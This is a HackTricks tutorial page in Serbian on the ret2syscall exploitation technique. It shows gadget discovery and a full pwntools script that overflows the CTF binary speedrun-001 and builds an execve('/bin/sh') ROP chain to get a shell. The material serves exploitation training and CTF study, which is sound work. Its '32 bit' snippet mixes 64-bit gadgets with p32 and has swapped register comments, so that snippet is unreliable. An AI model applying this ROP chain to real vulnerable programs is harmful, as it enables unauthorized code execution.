Ret2syscall
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Ovo je slično Ret2lib, međutim, u ovom slučaju nećemo pozivati funkciju iz biblioteke. U ovom slučaju, sve će biti pripremljeno za pozivanje syscall sys_execve
sa nekim argumentima za izvršavanje /bin/sh
. Ova tehnika se obično primenjuje na binarnim datotekama koje su statički kompajlirane, tako da može biti mnogo gadgeta i syscall instrukcija.
Da bismo pripremili poziv za syscall, potrebna je sledeća konfiguracija:
rax: 59 Specifikujte sys_execve
rdi: ptr do "/bin/sh" specifikujte datoteku za izvršavanje
rsi: 0 specifikujte da nema prosleđenih argumenata
rdx: 0 specifikujte da nema prosleđenih promenljivih okruženja
Dakle, u suštini, potrebno je napisati string /bin/sh
negde i zatim izvršiti syscall
(imajući u vidu potrebnu padding za kontrolu steka). Za to nam je potreban gadget da napišemo /bin/sh
u poznatom području.
tip
Još jedan zanimljiv syscall za pozivanje je mprotect
koji bi omogućio napadaču da modifikuje dozvole stranice u memoriji. Ovo se može kombinovati sa ret2shellcode.
Gadgeti za registre
Hajde da počnemo sa pronalaženjem kako kontrolisati te registre:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
Sa ovim adresama je moguće pisati sadržaj na steku i učitati ga u registre.
Pisanje stringa
Writable memory
Prvo treba da pronađete mesto koje može da se piše u memoriji
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
Write String in memory
Zatim treba da pronađete način da upišete proizvoljan sadržaj na ovu adresu
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
Automatizujte ROP lanac
Sledeća komanda kreira kompletan sys_execve
ROP lanac za dati statički binarni fajl kada postoje write-what-where gadgeti i syscall instrukcije:
ROPgadget --binary vuln --ropchain
32 bita
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 bita
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Nedostatak Gadžeta
Ako vam nedostaju gadžeti, na primer da napišete /bin/sh
u memoriji, možete koristiti SROP tehniku da kontrolišete sve vrednosti registara (uključujući RIP i registre parametara) iz steka:
SROP - Sigreturn-Oriented Programming
Primer Eksploatacije
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Ostali Primeri i Reference
- https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
- 64 bita, bez PIE, nx, upisati u neku memoriju ROP za pozivanje
execve
i skočiti tamo. - https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
- 64 bita, nx, bez PIE, upisati u neku memoriju ROP za pozivanje
execve
i skočiti tamo. Da bi se upisalo na stek, zloupotrebljava se funkcija koja vrši matematičke operacije. - https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bita, bez PIE, nx, BF kanar, upisati u neku memoriju ROP za pozivanje
execve
i skočiti tamo.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.